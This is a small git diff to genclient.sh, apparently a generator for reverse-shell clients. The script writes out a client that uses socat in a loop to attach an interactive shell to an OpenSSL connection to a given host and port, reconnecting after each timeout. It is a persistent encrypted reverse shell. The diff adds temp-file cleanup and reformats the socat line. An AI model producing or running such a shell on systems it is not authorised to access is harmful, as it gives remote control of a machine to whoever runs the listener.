1 files changed, 5 insertions, 2 deletions
diff --git a/genclient.sh b/genclient.sh
index 9984a8b..6e2cda2 100755
--- a/genclient.sh
+++ b/genclient.sh
@@ -23,10 +23,13 @@ cat <<EOF
 _shell="\$(which zsh mksh bash ksh zsh ash sh 2>/dev/null | sed 1q)"
 certificate='$(cat ${basename}.crt)'
 crt_tmp="\$(mktemp)"
+trap 'rm -f \$crt_tmp; exit 0' EXIT INT
 echo "\$certificate" > "\$crt_tmp"
 while [ $loop -ne 0 ] ; do
-socat exec:"\$_shell",pty,stderr,setsid,sigint,sane OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp
+socat exec:"\$_shell",pty,stderr,setsid,sigint,sane \\
+	"OPENSSL:$hostname:$port,verify=$verify,cafile=\$crt_tmp"
 sleep $timeout
 done
-rm "\$crt_tmp"
+
+exit 0
 EOF